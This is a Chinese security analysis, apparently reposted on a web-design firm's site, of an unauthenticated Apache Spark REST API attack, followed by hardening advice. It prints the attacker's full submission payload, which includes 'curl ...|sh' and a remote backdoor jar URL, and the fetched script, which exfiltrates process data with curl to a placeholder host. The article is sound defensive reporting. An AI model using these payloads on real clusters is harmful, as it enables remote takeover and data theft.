今天就跟大家聊聊有關(guān)如何進(jìn)行Spark REST API未授權(quán)漏洞利用分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
網(wǎng)站設(shè)計(jì)、做網(wǎng)站,成都做網(wǎng)站公司-成都創(chuàng)新互聯(lián)公司已向上千家企業(yè)提供了,網(wǎng)站設(shè)計(jì),網(wǎng)站制作,網(wǎng)絡(luò)營(yíng)銷等服務(wù)!設(shè)計(jì)與技術(shù)結(jié)合,多年網(wǎng)站推廣經(jīng)驗(yàn),合理的價(jià)格為您打造企業(yè)品質(zhì)網(wǎng)站。
Apache Spark 是專為大規(guī)模數(shù)據(jù)處理而設(shè)計(jì)的快速通用的計(jì)算引擎,是UC Berkeley AMP lab(加州大學(xué)伯克利分校的AMP實(shí)驗(yàn)室)所開源的類Hadoop MapReduce的通用并行框架。為了讓使用者能夠方便的控制系統(tǒng)進(jìn)行計(jì)算和查看任務(wù)結(jié)果,Spark也提供了 WEB UI圖形化界面和相應(yīng)的 REST API來方便用戶操作。
Spark作為大數(shù)據(jù)時(shí)代的”計(jì)算引擎”,一旦被攻破,企業(yè)的核心數(shù)據(jù)資產(chǎn)、計(jì)算能力、用戶敏感數(shù)據(jù)都將被攻擊者竊?。桓M(jìn)一步的,由于Spark自身的分布式特性,一個(gè)攻擊點(diǎn)的攻破可能導(dǎo)致整個(gè)集群的淪陷。Spark權(quán)限設(shè)置不當(dāng),可能導(dǎo)致攻擊者無需認(rèn)證即可通過該 REST API來操作Spark創(chuàng)建任務(wù)、刪除任務(wù)、查看任務(wù)結(jié)果等,從而最終獲得執(zhí)行任意指令的能力。
我們還原了攻擊者的攻擊步驟:
1. 攻擊者通過web掃描的方式發(fā)現(xiàn)了一臺(tái)Spark webui服務(wù)
2. 構(gòu)造攻擊指令,并通過6066端口發(fā)送到該服務(wù)器的REST API
POST /v1/submissions/createhost:xxxx.xxx.xx:6066{ "action": "CreateSubmissionRequest", "clientSparkVersion": "2.1.0", "appArgs": [ "curl x.x.x.x/y.sh|sh" ], "appResource": "https://xxxx.onion.plus/SimpleApp.jar", "environmentVariables": { "SPARK_ENV_LOADED": "1" }, "mainClass": "SimpleApp", "sparkProperties": { "spark.jars": "https://xxxxxxxx.onion.plus/SimpleApp.jar", "spark.driver.supervise": "false", "spark.app.name": "SimpleApp", "spark.eventLog.enabled": "false", "spark.submit.deployMode": "cluster", "spark.master": "spark://x.x.x.x:6066" } }
該攻擊payload指示服務(wù)器遠(yuǎn)程下載https://xxxxxxxx.onion.plus/SimpleApp.jar ,并執(zhí)行攻擊者指定的任意方法,該攻擊者還通過洋蔥網(wǎng)絡(luò)來隱藏自己的相關(guān)信息。
3.對(duì)該 jar 包進(jìn)行逆向分析,該 jar 包即是一個(gè)簡(jiǎn)單的執(zhí)行命令的后門,
執(zhí)行 jar 包時(shí),Spark服務(wù)器將會(huì)從洋蔥網(wǎng)絡(luò)中下載一段shell腳本并執(zhí)行。
4.腳本內(nèi)容如下:
#!/bin/bashps ax --sort=-pcpu > /tmp/tmp.txtcurl -F "file=@/tmp/tmp.txt" http://x.x.x.x/re.phprm -rf /tmp/tmp.txt
該腳本只是簡(jiǎn)單的將性能信息打印并回傳,暫未進(jìn)行進(jìn)一步的攻擊。
目前全網(wǎng)監(jiān)控,開放了8080端口暴露在公網(wǎng)的Spark機(jī)器共有5000臺(tái)左右,黑客可批量接管其中存在權(quán)限問題的機(jī)器。
在此之前,阿里云安全團(tuán)隊(duì)曾針對(duì)分布式計(jì)算系統(tǒng)相關(guān)的漏洞進(jìn)行過預(yù)警
這兩個(gè)漏洞原理和利用方法非常相似,這也佐證了之前的預(yù)判。
隨著加密貨幣經(jīng)濟(jì)的進(jìn)一步繁榮,具有強(qiáng)大算力,但是較弱安全能力的分布式應(yīng)用將面臨更多的漏洞利用和黑客攻擊。
由于Hadoop Yarn未授權(quán)漏洞在全網(wǎng)已經(jīng)成為了黑客挖礦的一種重要手法,我們有理由相信Spark REST API漏洞也將很快被黑產(chǎn)利用。
建議通過iptables或者安全組配置訪問策略,限制對(duì)8088、8081、7707、6606等端口的訪問;并且如無必要,不要將接口開放在公網(wǎng),改為本地或者內(nèi)網(wǎng)調(diào)用;
建議使用Spark的yarn控制模式,并且開啟HTTP Kerberos對(duì)WEB UI進(jìn)行訪問控制;如采用Spark standalone模式,需要自行實(shí)現(xiàn)訪問控制的jar包,并設(shè)置spark.ui.filters對(duì)WEB UI進(jìn)行訪問控制,
看完上述內(nèi)容,你們對(duì)如何進(jìn)行Spark REST API未授權(quán)漏洞利用分析有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。
當(dāng)前名稱:如何進(jìn)行SparkRESTAPI未授權(quán)漏洞利用分析
文章轉(zhuǎn)載:http://jinyejixie.com/article44/pshohe.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供企業(yè)網(wǎng)站制作、建站公司、品牌網(wǎng)站設(shè)計(jì)、做網(wǎng)站、虛擬主機(jī)、定制網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)